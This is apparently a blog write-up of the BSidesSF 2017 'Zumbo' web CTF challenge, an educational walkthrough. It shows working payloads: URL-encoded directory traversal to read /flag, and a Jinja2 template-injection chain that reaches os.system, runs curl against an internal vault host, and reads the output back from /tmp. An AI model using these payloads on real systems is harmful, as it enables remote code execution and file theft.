Tuesday, February 14, 2017

BSidesSF 2017 - Web: Zumbo




The Google & Synack sponsored BSidesSF CTF was fantastic this year! From easier challenges to difficult, and some very innovative for challenges, it was a lot of fun to play!


 

Zumbo 1 (20)


On Zumbo we start off on the route 'index.template' - http://zumbo-8ac445b1.ctf.bsidessf.net/index.template

Attempting to hit robots.txt, we get this odd message: [Errno 2] No such file or directory: u'robots.txt'

The python unicode string instantly stuck out identifying this as a python backend.

Looking at the source of index.template, we get this nice comment towards the bottom:

<!-- page: index.template, src: /code/server.py -->

Next, it was time to check out server.py to see if it exists, visiting http://zumbo-8ac445b1.ctf.bsidessf.net/server.py we get:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672


@app.route('/')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

@app.route('/')
def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"
    sys.stdout.flush()
    app.run(host="0.0.0.0")


And with that, we've already completed Zumbo 1! Dropping the flag:

FLAG: FIRST_FLAG_WASNT_HARD



Zumbo 2 (100)


The next flag was located in the file /flag on the server. This next part was solved by a team-mate very quickly, but here's how it was done:

http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/flag

FLAG: RUNNER_ON_SECOND_BASE

This was just urlencoded directory traversal, nice! :) So now we can read any file on the server as well.



Zumbo 3 (250)

This next part ended up taking a while to complete.  Because there was a load balancer setup on the server, it added an element of difficulty to read & write files using two commands.

In the beginning of this blog post we see that there's the python unicode strings being dumped to the page:

[Errno 2] No such file or directory: u'robots.txt'


This comes from this section in the code:

    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)

It's nice we're able to get some output from the server. After a few attempts checking string escaping, we look elsewhere. Stumbling on a few blog posts about python server exploitation was invaluable. The main ones we ended up referring to were:

Part II of the article from nvisium turned out to be the intended solution.  After trying that one out multiple times and failing, I ended up doing it the hard way, which is what I'll be describing in this post.

All of these articles are about SSTI or Server Side Template Injection.

Here's a very basic example of this:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ 1+1 }}

Which results in the following:

[Errno 2] No such file or directory: u'2'


So we can execute some python! Great! Although we don't have access to everything because of the context of the templating engine. For example:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ print("hello") }}

Results in an ISE:

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.


We can still work with this though. The third article linked was invaluable for stepping through the process, similar to other CTF challenges with python jails.

Looking at an empty string's __mro__ we can access the following classes:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__ }}

[Errno 2] No such file or directory: u"(<type str="">, <type basestring="">, <type object="">)"


Now we can dive into the object class and grab a few other modules, with this we get quite a lot:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__() }}


[Errno 2] No such file or directory: u"[
<type 'type'>,
 <type 'weakref'>,
 <type 'weakcallableproxy'>,
 <type 'weakproxy'>,
 <type 'int'>,
 <type 'basestring'>,
 <type 'bytearray'>,
 <type 'list'>,
 <type 'NoneType'>,
 <type 'NotImplementedType'>,
......

What we're now looking for in here is the method 'warnings.catch_warnings'. This contains linecache which uses os. The os module contains the os.system method, which for us means RCE.

This ends up being at index 59:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59] }}

[Errno 2] No such file or directory: u"<class 'warnings.catch_warnings'>"

Continuing this treasure hunt to find the index of a module inside the list of subclasses & func_globals we land on system:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144] }}

[Errno 2] No such file or directory: u""

Now we can call this with any command!  Let's just curl that url as they do in the python server.py script:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag') }}

[Errno 2] No such file or directory: u"0"

Unfortunately the stdout doesn't get redirected to us in this case, but that's okay, we can just check a file.

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag > /tmp/wubalubadubdub') }}

Now using the directory traversal previously (or using the file module exposed on index 40 of object), we can read in the file!

http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/tmp/wubalubadubdub

FLAG: BRICK_HOUSE_BEATS_THE_WOLF


This ended up being a little different than the standard technique, it also ended up giving us root on the server instead of just dropping the flag.